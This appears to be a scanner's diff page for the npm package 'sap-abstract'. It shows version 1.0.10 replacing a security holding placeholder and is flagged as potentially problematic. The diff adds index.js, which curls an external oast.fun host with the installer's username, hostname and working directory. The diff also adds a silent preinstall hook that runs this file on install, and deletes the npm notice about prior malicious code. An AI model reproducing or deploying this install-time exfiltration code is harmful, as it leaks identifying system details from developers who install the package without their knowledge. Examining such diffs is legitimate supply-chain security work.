sap-abstract 0.0.1-security.1 → 1.0.10

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of sap-abstract might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +14 -0
  2. package/package.json +14 -5
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+
2
+ const { exec } = require("child_process");
3
+ exec("curl `whoami`.sap-abort.pqpncipjsoqjksyifeluqbb6pcfrlh7qz.oast.fun/`hostname`/`pwd`" , (error, data, getter) => {
4
+ if(error){
5
+ console.log("error",error.message);
6
+ return;
7
+ }
8
+ if(getter){
9
+ console.log(data);
10
+ return;
11
+ }
12
+ console.log(data);
13
+
14
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
- "name": "sap-abstract",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
2
+ "name": "sap-abstract",
3
+ "version": "1.0.10",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "lexi2",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ }
15
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=sap-abstract for more information.